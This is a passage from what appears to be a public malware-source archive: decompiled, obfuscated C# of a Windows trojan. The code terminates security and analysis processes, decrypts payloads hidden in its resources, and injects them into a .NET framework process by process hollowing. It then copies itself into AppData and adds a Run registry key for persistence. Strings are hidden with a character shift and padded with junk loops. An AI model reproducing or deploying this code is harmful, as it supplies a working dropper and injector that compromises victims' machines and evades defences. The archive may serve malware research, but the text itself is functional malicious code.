mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
2720 lines
111 KiB
C#
2720 lines
111 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: ÄÎÄÊ42
|
|
// Assembly: xfxjrxud, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 4A5F7493-5A47-4C7B-AE6D-A2D9AB0DAFA1
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.Shakblades.amh-7b1789fc6dbf64c86ed5e6c9d3d3aa35a9a75e0461449b6b35899ba19ab7aba9.exe
|
|
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Resources;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
[StandardModule]
|
|
internal sealed class ÄÎÄÊ42
|
|
{
|
|
private static short ÁÛ;
|
|
|
|
public static byte fÔ(int ÌqlÜoÞ, int ÑÐidÔ)
|
|
{
|
|
if (true)
|
|
{
|
|
ulong num1 = 16;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 22UL);
|
|
if (true)
|
|
{
|
|
sbyte num2 = 17;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (sbyte) 66);
|
|
}
|
|
}
|
|
if (true)
|
|
;
|
|
if (true)
|
|
{
|
|
Decimal limit = 88M;
|
|
Decimal num = 20M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
|
|
num = Decimal.Add(num, 1M);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
public static void Åore6Ú(string bi6gv, bool Ôÿ0xºÖ, string qsÝn7d, string Þrkÿg6)
|
|
{
|
|
string str = "LH\\{Y";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
sbyte num = 11;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= (sbyte) 87);
|
|
}
|
|
foreach (Process process in Process.GetProcessesByName(qsÝn7d))
|
|
process.Kill();
|
|
}
|
|
|
|
public static string Ë80(ushort É_ß_Ûh, string jtÊgÒq, Decimal ËÑÒf, ulong btÉÈpv, Decimal ØÖÚ)
|
|
{
|
|
bool flag = true;
|
|
long num = 1;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 69L);
|
|
if (!flag)
|
|
;
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
string str = jtÊgÒq;
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
stringBuilder.Append(Convert.ToChar((int) Convert.ToByte(ch) - 3));
|
|
}
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
public static byte[] Ð0(int ß0sa, byte[] ÉÚÖ, DateTime cigwy, byte iukgÆ)
|
|
{
|
|
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
|
|
{
|
|
Decimal limit = 101M;
|
|
for (Decimal num = 18M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M); num = Decimal.Add(num, 1M))
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
byte[] numArray = new byte[13]
|
|
{
|
|
(byte) 172,
|
|
(byte) 133,
|
|
(byte) 245,
|
|
(byte) 26,
|
|
(byte) 237,
|
|
(byte) 131,
|
|
(byte) 2,
|
|
(byte) 252,
|
|
(byte) 70,
|
|
(byte) 169,
|
|
(byte) 17,
|
|
(byte) 79,
|
|
(byte) 242
|
|
};
|
|
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(numArray, numArray, 1);
|
|
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.KeySize / 8.0));
|
|
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.BlockSize / 8.0));
|
|
return rijndaelManaged.CreateDecryptor().TransformFinalBlock(ÉÚÖ, 0, ÉÚÖ.Length);
|
|
}
|
|
}
|
|
|
|
public static int zj(int Ækdj, byte[] ÈÙn2, bool uiËÆ4)
|
|
{
|
|
if (true)
|
|
{
|
|
string str = "*Vp";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
int num = 15;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 25);
|
|
}
|
|
if (true)
|
|
;
|
|
Decimal limit = 36M;
|
|
Decimal num1 = 10M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num1, limit, 1M))
|
|
num1 = Decimal.Add(num1, 1M);
|
|
}
|
|
return System.Drawing.Color.FromArgb((int) ÈÙn2[Ækdj + 3], (int) ÈÙn2[Ækdj + 2], (int) ÈÙn2[Ækdj + 1], (int) ÈÙn2[Ækdj]).ToArgb();
|
|
}
|
|
|
|
public static byte[] uhµq78(int lÅ7ÍÞ, DateTime ÿh_l)
|
|
{
|
|
string str = "MC^9qg?o\\w";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
System.Drawing.Color color = System.Drawing.Color.FromArgb(lÅ7ÍÞ);
|
|
return new byte[4]{ color.B, color.G, color.R, color.A };
|
|
}
|
|
|
|
[DllImport("kernel32", EntryPoint = "LoadLibraryA", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern IntPtr nwiÈ([MarshalAs(UnmanagedType.VBByRefStr)] ref string eÅ);
|
|
|
|
[DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern IntPtr yÅ(IntPtr eÅ, [MarshalAs(UnmanagedType.VBByRefStr)] ref string bk8);
|
|
|
|
public static bk8 eÅ<bk8>(string ºÚÅÂi, string ÄÙpÕ, int aÄrÖ, DateTime xßÂÓÕ, bool ÅzØÀ)
|
|
{
|
|
if (false)
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
return (bk8) Marshal.GetDelegateForFunctionPointer(ÄÎÄÊ42.yÅ(ÄÎÄÊ42.nwiÈ(ref ÄÙpÕ), ref ºÚÅÂi), typeof (bk8));
|
|
}
|
|
|
|
public static void d0eÏke(object d0eÏke)
|
|
{
|
|
MethodInfo entryPoint = Assembly.Load((byte[]) d0eÏke).EntryPoint;
|
|
if (entryPoint.GetParameters().Length == 1)
|
|
{
|
|
entryPoint.Invoke((object) null, new object[1]
|
|
{
|
|
(object) new string[0]
|
|
});
|
|
}
|
|
else
|
|
{
|
|
entryPoint.Invoke((object) null, (object[]) null);
|
|
if (true)
|
|
;
|
|
}
|
|
}
|
|
|
|
public static void ÿеÚÌ2(string ºÍÇcÜ, byte[] ÿеÚÌ2, string Ê9Ás)
|
|
{
|
|
if (ÿеÚÌ2[60] == (byte) 128)
|
|
{
|
|
Thread thread = new Thread(new ParameterizedThreadStart(ÄÎÄÊ42.d0eÏke));
|
|
thread.SetApartmentState(ApartmentState.STA);
|
|
thread.Start((object) ÿеÚÌ2);
|
|
}
|
|
else
|
|
{
|
|
string qÂ1;
|
|
foreach (string directory in Directory.GetDirectories(Conversions.ToString(Environment.SystemDirectory[0]) + ÄÎÄÊ42.Ë80((ushort) 2155, "=_Zlqgrzv_Plfurvriw1QHW_Iudphzrun", 2061105127M, 2115499156UL, 0M)))
|
|
{
|
|
if (directory.ToLower().Contains(ÄÎÄÊ42.Ë80((ushort) 15829, "y5131", 1196871844M, 1250544732UL, 1480870424M)))
|
|
{
|
|
qÂ1 = directory + ÄÎÄÊ42.Ë80((ushort) 16922, "_yef1h{h", 213968319M, 1125617184UL, -515900160M);
|
|
break;
|
|
}
|
|
}
|
|
int num1 = ÄÎÄÊ42.zj(60, ÿеÚÌ2, false);
|
|
short int16 = BitConverter.ToInt16(ÿеÚÌ2, num1 + 6);
|
|
IntPtr ÎÌÆ8_1 = new IntPtr(ÄÎÄÊ42.zj(num1 + 84, ÿеÚÌ2, false));
|
|
IntPtr[] ÖÔ = new IntPtr[4];
|
|
IntPtr num2;
|
|
if (!ÄÎÄÊ42.eÅ<ÄÎÄÊ42.yÝÆbl>(ÄÎÄÊ42.Ë80((ushort) 0, "FuhdwhSurfhvvD", 947106602M, 1283024727UL, 556013894M), ÄÎÄÊ42.Ë80((ushort) 27359, "nhuqho65", 2108968263M, 1472272860UL, 1418322051M), 93371123, DateTime.Now, false)((string) null, qÂ1, num2, num2, false, 4, num2, (string) null, new byte[0], ÖÔ))
|
|
return;
|
|
try
|
|
{
|
|
uint[] qÂ2 = new uint[179];
|
|
qÂ2[0] = 65538U;
|
|
if (ÄÎÄÊ42.eÅ<ÄÎÄÊ42.nØ>(ÄÎÄÊ42.Ë80((ushort) 31242, "JhwWkuhdgFrqwh{w", 1401062252M, 1899214721UL, 1248014975M), ÄÎÄÊ42.Ë80((ushort) 23347, "nhuqho65", -702908542M, 2015860422UL, 1857519582M), 1388390421, DateTime.Now, true)(ÖÔ[1], qÂ2))
|
|
{
|
|
IntPtr h1;
|
|
IntPtr edÇ;
|
|
if (ÄÎÄÊ42.eÅ<ÄÎÄÊ42.cÈØ>(ÄÎÄÊ42.Ë80((ushort) 14692, "UhdgSurfhvvPhpru|", 1823167432M, 1084544445UL, 1715065738M), ÄÎÄÊ42.Ë80((ushort) 20269, "nhuqho65", 0M, 621053347UL, -99411088M), 0, DateTime.Now, true)(ÖÔ[0], new IntPtr((long) qÂ2[41] + 8L), ref h1, new IntPtr(4), ref edÇ))
|
|
{
|
|
if (ÄÎÄÊ42.eÅ<ÄÎÄÊ42.ÉÉr>(ÄÎÄÊ42.Ë80((ushort) 2303, "QwXqpdsYlhzRiVhfwlrq", 1315419410M, 293262549UL, 60975105M), ÄÎÄÊ42.Ë80((ushort) 28856, "qwgoo", -1010863505M, 1503637346UL, 110327080M), 1930160895, DateTime.Now, false)(ÖÔ[0], h1) == 0U)
|
|
{
|
|
ÄÎÄÊ42.mÎhÄÀa mÎhÄàa = ÄÎÄÊ42.eÅ<ÄÎÄÊ42.mÎhÄÀa>(ÄÎÄÊ42.Ë80((ushort) 24564, "YluwxdoDoorfH{", -124257453M, 1116376755UL, 1476618721M), ÄÎÄÊ42.Ë80((ushort) 25315, "nhuqho65", 2127429307M, 361403930UL, 1584508225M), -270134058, DateTime.Now, false);
|
|
IntPtr ÿеÚÌ2_1 = ÖÔ[0];
|
|
IntPtr num3 = new IntPtr(ÄÎÄÊ42.zj(num1 + 52, ÿеÚÌ2, true));
|
|
IntPtr qÂ3 = num3;
|
|
IntPtr num4 = new IntPtr(ÄÎÄÊ42.zj(num1 + 80, ÿеÚÌ2, true));
|
|
IntPtr h2 = num4;
|
|
IntPtr qÂ4 = mÎhÄàa(ÿеÚÌ2_1, qÂ3, h2, 12288, 64);
|
|
ÄÎÄÊ42.w_zzÛ wZzÛ1 = ÄÎÄÊ42.eÅ<ÄÎÄÊ42.w_zzÛ>(ÄÎÄÊ42.Ë80((ushort) 0, "ZulwhSurfhvvPhpru|", -771002506M, 888391754UL, 437836762M), ÄÎÄÊ42.Ë80((ushort) 0, "nhuqho65", 0M, 144728661UL, 0M), 1154098651, DateTime.Now, false);
|
|
int num5 = wZzÛ1(ÖÔ[0], qÂ4, ÿеÚÌ2, ÎÌÆ8_1, ref edÇ) ? 1 : 0;
|
|
int[] dst1 = new int[10];
|
|
int num6 = (int) int16 - 1;
|
|
for (int index1 = 0; index1 <= num6; ++index1)
|
|
{
|
|
Buffer.BlockCopy((Array) ÿеÚÌ2, num1 + 248 + index1 * 40, (Array) dst1, 0, 40);
|
|
byte[] dst2 = new byte[dst1[4] - 1 + 1];
|
|
if (true)
|
|
{
|
|
sbyte num7 = 2;
|
|
do
|
|
{
|
|
++num7;
|
|
}
|
|
while (num7 <= (sbyte) 48);
|
|
string str = "4>y#e";
|
|
int index2 = 0;
|
|
for (int length = str.Length; index2 < length; ++index2)
|
|
{
|
|
char ch = str[index2];
|
|
}
|
|
}
|
|
Buffer.BlockCopy((Array) ÿеÚÌ2, dst1[5], (Array) dst2, 0, dst2.Length);
|
|
ÄÎÄÊ42.w_zzÛ wZzÛ2 = wZzÛ1;
|
|
IntPtr ÿеÚÌ2_2 = ÖÔ[0];
|
|
num4 = new IntPtr(qÂ4.ToInt32() + dst1[3]);
|
|
IntPtr qÂ5 = num4;
|
|
byte[] h3 = dst2;
|
|
num3 = new IntPtr(dst2.Length);
|
|
IntPtr ÎÌÆ8_2 = num3;
|
|
ref IntPtr local = ref edÇ;
|
|
int num8 = wZzÛ2(ÿеÚÌ2_2, qÂ5, h3, ÎÌÆ8_2, ref local) ? 1 : 0;
|
|
}
|
|
ÄÎÄÊ42.w_zzÛ wZzÛ3 = wZzÛ1;
|
|
IntPtr ÿеÚÌ2_3 = ÖÔ[0];
|
|
num4 = new IntPtr((long) qÂ2[41] + 8L);
|
|
IntPtr qÂ6 = num4;
|
|
byte[] h4 = ÄÎÄÊ42.uhµq78(qÂ4.ToInt32(), DateTime.Now);
|
|
num3 = new IntPtr(4);
|
|
IntPtr ÎÌÆ8_3 = num3;
|
|
ref IntPtr local1 = ref edÇ;
|
|
int num9 = wZzÛ3(ÿеÚÌ2_3, qÂ6, h4, ÎÌÆ8_3, ref local1) ? 1 : 0;
|
|
qÂ2[44] = (uint) (qÂ4.ToInt32() + ÄÎÄÊ42.zj(num1 + 40, ÿеÚÌ2, true));
|
|
int num10 = ÄÎÄÊ42.eÅ<ÄÎÄÊ42.nØ>(ÄÎÄÊ42.Ë80((ushort) 9067, "VhwWkuhdgFrqwh{w", 795717856M, 685104029UL, -817129474M), ÄÎÄÊ42.Ë80((ushort) 663, "nhuqho65", -601614195M, 1679759056UL, 1243959477M), 879327758, DateTime.Now, false)(ÖÔ[1], qÂ2) ? 1 : 0;
|
|
int num11 = ÄÎÄÊ42.eÅ<ÄÎÄÊ42.ßu5jÆy>(ÄÎÄÊ42.Ë80((ushort) 4838, "UhvxphWkuhdg", 0M, 0UL, -718438709M), ÄÎÄÊ42.Ë80((ushort) 0, "nhuqho65", 37770836M, 1358597425UL, 1077852726M), 315166272, DateTime.Now, false)(ÖÔ[1]);
|
|
if (true)
|
|
;
|
|
}
|
|
ulong num12 = 1;
|
|
do
|
|
{
|
|
++num12;
|
|
}
|
|
while (num12 <= 49UL);
|
|
}
|
|
Decimal limit = 22M;
|
|
Decimal num13 = 0M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num13, limit, 1M))
|
|
num13 = Decimal.Add(num13, 1M);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
Process.GetProcessById(ÖÔ[2].ToInt32()).Kill();
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
|
|
[STAThread]
|
|
public static void Main()
|
|
{
|
|
ÄÎÄÊ42.Åore6Ú("aqJU*Z'>`Q", false, ÄÎÄÊ42.Ë80((ushort) 16973, "pedp", 789290427M, 840134411UL, 966533662M), "{3*(g");
|
|
ÄÎÄÊ42.Åore6Ú("['Go7", false, ÄÎÄÊ42.Ë80((ushort) 21693, "}ofolhqw", 0M, 248151122UL, 505966609M), "&_yYa/)");
|
|
ÄÎÄÊ42.Åore6Ú("MBk BEF", false, ÄÎÄÊ42.Ë80((ushort) 14800, "hjxl", 650854649M, 1825965699UL, -1015115903M), "_,QPjL");
|
|
ÄÎÄÊ42.Åore6Ú("')}8Urg", true, ÄÎÄÊ42.Ë80((ushort) 0, "vdpsoh", -870879264M, 0UL, 0M), "@^raNGQU");
|
|
ÄÎÄÊ42.Åore6Ú("Y/y8a-", true, ÄÎÄÊ42.Ë80((ushort) 32740, "egdjhqw", 539127069M, 2104806640UL, 1991063130M), "#}-p");
|
|
ÄÎÄÊ42.Åore6Ú("}{YOm?RN", false, ÄÎÄÊ42.Ë80((ushort) 12881, "dys", 217980584M, 585947185UL, 651054778M), "KG<N4_j<F");
|
|
ÄÎÄÊ42.Åore6Ú("47aAV", false, ÄÎÄÊ42.Ë80((ushort) 10476, "roo|gej", 1547724055M, 1124135514UL, 0M), "zoF");
|
|
ÄÎÄÊ42.Åore6Ú("%=&p)5.mgi", true, ÄÎÄÊ42.Ë80((ushort) 18260, "VelhVyf", 547771927M, 430962114UL, 2028388602M), "+C9Y;Ft3A,");
|
|
short num1 = 14;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= (short) 78);
|
|
ÄÎÄÊ42.Åore6Ú("Di+c", false, ÄÎÄÊ42.Ë80((ushort) 23297, "nh|vfudpeohu", 1439782639M, 1841219066UL, 0M), "xg.r");
|
|
ÄÎÄÊ42.Åore6Ú("gqD}^", false, ÄÎÄÊ42.Ë80((ushort) 0, "YPzduh#VYJD#LL", 1785152707M, 782473748UL, 1487466096M), "\\`bg");
|
|
ÄÎÄÊ42.Åore6Ú("2<iGa66", true, ÄÎÄÊ42.Ë80((ushort) 27971, "wdvnpju", 0M, 1821911254UL, 348156460M), "[(3kw");
|
|
ÄÎÄÊ42.Åore6Ú("P?_~", false, ÄÎÄÊ42.Ë80((ushort) 14919, "zluhvkdun", 32168260M, 1538462804UL, 1542275088M), "DY?oQ");
|
|
double num2 = 7.0;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 75.0);
|
|
ÄÎÄÊ42.Åore6Ú((string) null, true, ÄÎÄÊ42.Ë80((ushort) 32322, "klmdfnwklv", -876396305M, 1223294340UL, 503411703M), "[P:ZWf");
|
|
ÄÎÄÊ42.Åore6Ú("HJ9^", false, ÄÎÄÊ42.Ë80((ushort) 0, "qsipvj", 1541202324M, 0UL, -423214282M), "K KAk<");
|
|
ÄÎÄÊ42.Åore6Ú((string) null, true, ÄÎÄÊ42.Ë80((ushort) 16897, "dyjxl", 534051672M, 14399232UL, 0M), "cO}'=S=");
|
|
ÄÎÄÊ42.Åore6Ú("_Zy,Ke", true, ÄÎÄÊ42.Ë80((ushort) 0, "Vs|ErwVG", 1780260729M, 1422849379UL, -538445572M), "K~7{)q");
|
|
if (false)
|
|
;
|
|
ResourceManager resourceManager = new ResourceManager("xu4apwsb", Assembly.GetExecutingAssembly());
|
|
ÄÎÄÊ42.ÿеÚÌ2((string) null, ÄÎÄÊ42.Ð0(0, (byte[]) resourceManager.GetObject("ØÀÜ"), DateTime.Now, (byte) 14), "Fc@q2,{d");
|
|
ÄÎÄÊ42.ÿеÚÌ2("?PUsY", ÄÎÄÊ42.Ð0(-135195882, (byte[]) resourceManager.GetObject("Ô"), DateTime.Now, (byte) 206), "3=% ");
|
|
string location = Assembly.GetEntryAssembly().Location;
|
|
string str = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ÄÎÄÊ42.Ë80((ushort) 4635, "Surjudp1h{h", 922808611M, 1601170459UL, 1812585349M));
|
|
if (!File.Exists(str))
|
|
File.Copy(location, str);
|
|
Registry.CurrentUser.CreateSubKey(ÄÎÄÊ42.Ë80((ushort) 0, "Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq", 1964367823M, 2048683479UL, 0M)).SetValue(ÄÎÄÊ42.Ë80((ushort) 8304, "Surjudp", 555673281M, 767282096UL, 892424687M), (object) str);
|
|
}
|
|
|
|
public class Þu
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Þu()
|
|
{
|
|
}
|
|
|
|
public void Õ1Ûßx(long É2Ó7m, ulong ÉÒ, int zÈxr)
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public void nsswÍ(byte ÕtÓ, byte ÜÁÙËq, string qeÆnØÈ)
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public class µÉËÿÎ
|
|
{
|
|
private sbyte enÎm;
|
|
|
|
public µÉËÿÎ() => this.enÎm = (sbyte) 126;
|
|
|
|
public void ÏqÈ88(int i_Ê, double lwmo, byte w5, Decimal Ïxb, Decimal Áey)
|
|
{
|
|
string str = "L1y(U+N";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
short num = 7;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= (short) 33);
|
|
}
|
|
}
|
|
|
|
public class jlbÑy
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public jlbÑy()
|
|
{
|
|
}
|
|
|
|
public class okÇ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public okÇ()
|
|
{
|
|
}
|
|
|
|
public Decimal ĵ(bool sÍz, double ÇaÕźs)
|
|
{
|
|
string str1 = "zB4Zm`";
|
|
int index1 = 0;
|
|
for (int length = str1.Length; index1 < length; ++index1)
|
|
{
|
|
char ch = str1[index1];
|
|
}
|
|
if (false)
|
|
{
|
|
string str2 = "dg4e;sO";
|
|
int index2 = 0;
|
|
for (int length = str2.Length; index2 < length; ++index2)
|
|
{
|
|
char ch = str2[index2];
|
|
}
|
|
Decimal limit = 88M;
|
|
Decimal num = 18M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
|
|
num = Decimal.Add(num, 1M);
|
|
}
|
|
return 278754729M;
|
|
}
|
|
|
|
public class rÜÛ
|
|
{
|
|
private DateTime rÎc;
|
|
private float ÏÏ3ÛÝ;
|
|
|
|
public rÜÛ()
|
|
{
|
|
this.rÎc = DateTime.Now;
|
|
this.ÏÏ3ÛÝ = 0.0f;
|
|
}
|
|
|
|
public delegate int gȺ(byte whh2);
|
|
|
|
public delegate float ºzÚxÛÊ(
|
|
string gtÁxße,
|
|
float ÑÈ5Ý,
|
|
short Ãt,
|
|
string ÔÂ,
|
|
double ÍlfÆw);
|
|
}
|
|
|
|
public class omxÔr
|
|
{
|
|
private int eeÝÌÓµ;
|
|
private Decimal cbÇÆ;
|
|
|
|
public omxÔr()
|
|
{
|
|
this.eeÝÌÓµ = 0;
|
|
this.cbÇÆ = 0M;
|
|
}
|
|
|
|
public void zÂ(float ÓÕ1m, int º2fy, sbyte Ø)
|
|
{
|
|
long num = 16;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 121L);
|
|
if (true)
|
|
{
|
|
string str = "83_9";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
}
|
|
|
|
public void É(sbyte fÕfc, double ÏÇØ8, sbyte cÂÛÔ)
|
|
{
|
|
if (true)
|
|
return;
|
|
string str = "0pNE8";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
uint num = 0;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 57U);
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public class lÚ4
|
|
{
|
|
private uint ÁÉmÙbÃ;
|
|
|
|
public lÚ4() => this.ÁÉmÙbà = 0U;
|
|
|
|
public class Ëk
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Ëk()
|
|
{
|
|
}
|
|
|
|
public class ºÔ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ºÔ()
|
|
{
|
|
}
|
|
|
|
public void ǺÀ2º()
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public ushort i9ÒhcÖ(ushort qº, int Û1Üt, ushort Éq5Ì6Ê)
|
|
{
|
|
if (true)
|
|
{
|
|
if (false)
|
|
;
|
|
DateTime now = DateTime.Now;
|
|
}
|
|
return 26112;
|
|
}
|
|
|
|
public class nÛe
|
|
{
|
|
private short ofnsÇc;
|
|
|
|
public nÛe() => this.ofnsÇc = (short) 21884;
|
|
}
|
|
|
|
public class º0Ì
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public º0Ì()
|
|
{
|
|
}
|
|
|
|
[DllImport("twain_32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern double ÑÝ(bool zÝ, byte ßyº);
|
|
|
|
public ulong ÖÞ(sbyte mÈqÃÔ, int ÊÕÄÐ, double Ûc)
|
|
{
|
|
if (true)
|
|
{
|
|
uint num1 = 1;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 82U);
|
|
long num2 = 5;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 111L);
|
|
string str = "E(O8@1Rm,P";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
public int ÝÀÜ(double gra, long mmÜ, byte z)
|
|
{
|
|
if (true)
|
|
;
|
|
int num1 = 2;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 58);
|
|
float num2 = 15f;
|
|
do
|
|
{
|
|
sbyte num3 = 18;
|
|
do
|
|
{
|
|
++num3;
|
|
}
|
|
while (num3 <= (sbyte) 70);
|
|
++num2;
|
|
}
|
|
while ((double) num2 <= 109.0);
|
|
if (false)
|
|
;
|
|
return 0;
|
|
}
|
|
|
|
public delegate void Êb(
|
|
uint dtÓ9Êÿ,
|
|
int ºÑ1,
|
|
short ß2mÌ,
|
|
byte ÍßpyÍ,
|
|
double É22jÐ7);
|
|
}
|
|
|
|
public class nÖÁ
|
|
{
|
|
private ushort Æÿ;
|
|
|
|
public nÖÁ() => this.Æÿ = (ushort) 28531;
|
|
|
|
public void É4wb()
|
|
{
|
|
if (false)
|
|
return;
|
|
string str = "'a[B>~";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
if (false)
|
|
{
|
|
ushort num = 15;
|
|
do
|
|
{
|
|
if (false)
|
|
;
|
|
++num;
|
|
}
|
|
while (num <= (ushort) 81);
|
|
}
|
|
if (false)
|
|
;
|
|
}
|
|
}
|
|
|
|
public short yÞ(long sÓº)
|
|
{
|
|
if (false)
|
|
;
|
|
if (true)
|
|
{
|
|
if (true)
|
|
;
|
|
Decimal limit = 62M;
|
|
Decimal num = 3M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
|
|
num = Decimal.Add(num, 1M);
|
|
}
|
|
return 14073;
|
|
}
|
|
|
|
public class ÝkÃ0
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÝkÃ0()
|
|
{
|
|
}
|
|
|
|
public short ºÓËÏ()
|
|
{
|
|
if (true)
|
|
{
|
|
long num = 15;
|
|
do
|
|
{
|
|
if (false)
|
|
{
|
|
string str = "n;BaEq)";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
++num;
|
|
}
|
|
while (num <= 53L);
|
|
string str1 = "Pgo_j5KEeoso";
|
|
int index1 = 0;
|
|
for (int length = str1.Length; index1 < length; ++index1)
|
|
{
|
|
char ch = str1[index1];
|
|
}
|
|
}
|
|
return 18108;
|
|
}
|
|
|
|
public void µ(bool qj, float ÏÌ, long ix3, string ÕÈÙt6, long Ãdgg)
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public class Ü
|
|
{
|
|
private long ÆÞ;
|
|
|
|
public Ü() => this.ÆÞ = 2054404714L;
|
|
}
|
|
|
|
public class ÿÕ6ÅlÂ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÿÕ6ÅlÂ()
|
|
{
|
|
}
|
|
|
|
public void Ý(
|
|
Decimal ËÉz85Í,
|
|
float Êrf3yÉ,
|
|
short ÅiÂ,
|
|
sbyte tkrnÀ,
|
|
byte w8ÜgÒ)
|
|
{
|
|
if (true)
|
|
return;
|
|
string str = "H2";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
|
|
public delegate string yÀÓÇÿ();
|
|
|
|
public class gÿÅÉÅÞ
|
|
{
|
|
private DateTime rÕ;
|
|
|
|
[DebuggerNonUserCode]
|
|
public gÿÅÉÅÞ()
|
|
{
|
|
}
|
|
|
|
[DllImport("gdiplus", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern DateTime ÅÅ(int ÈyÔ29È, double ÊÝÖ, short Î);
|
|
|
|
public delegate long Ú(uint mfÌ, double ÇÛÅiÊ, float ÞyÓ);
|
|
|
|
public delegate void ÖÎloÉÎ(long ÑÛrzÀß, short ÁÀÑ, uint Ï1, double ÀÝ);
|
|
|
|
public delegate void Á_(short chÉ, double ÐËÛsÙÕ, DateTime ÆÇ, byte Âxx);
|
|
}
|
|
|
|
public class Ü1µbÒ
|
|
{
|
|
private uint ºpt2;
|
|
|
|
public Ü1µbÒ() => this.ºpt2 = 1036348976U;
|
|
|
|
public void wc(int rcwÂ, float µÞ, DateTime ÌÞÊÜ1o)
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public class ÁÜÁbß
|
|
{
|
|
private ulong ÒÿË;
|
|
private double ÍÀ;
|
|
private bool ÚßÜÏÙx;
|
|
|
|
public ÁÜÁbß()
|
|
{
|
|
this.ÍÀ = 18176.8993;
|
|
this.ÚßÜÏÙx = false;
|
|
}
|
|
|
|
public string eÓÛ(
|
|
float ËÒ4gÃ,
|
|
long ÿÿµ,
|
|
int iØÑ7m,
|
|
long qÅhÜ,
|
|
short r2Îk)
|
|
{
|
|
if (true)
|
|
{
|
|
bool flag = true;
|
|
string str = "b9of4c";
|
|
int index = 0;
|
|
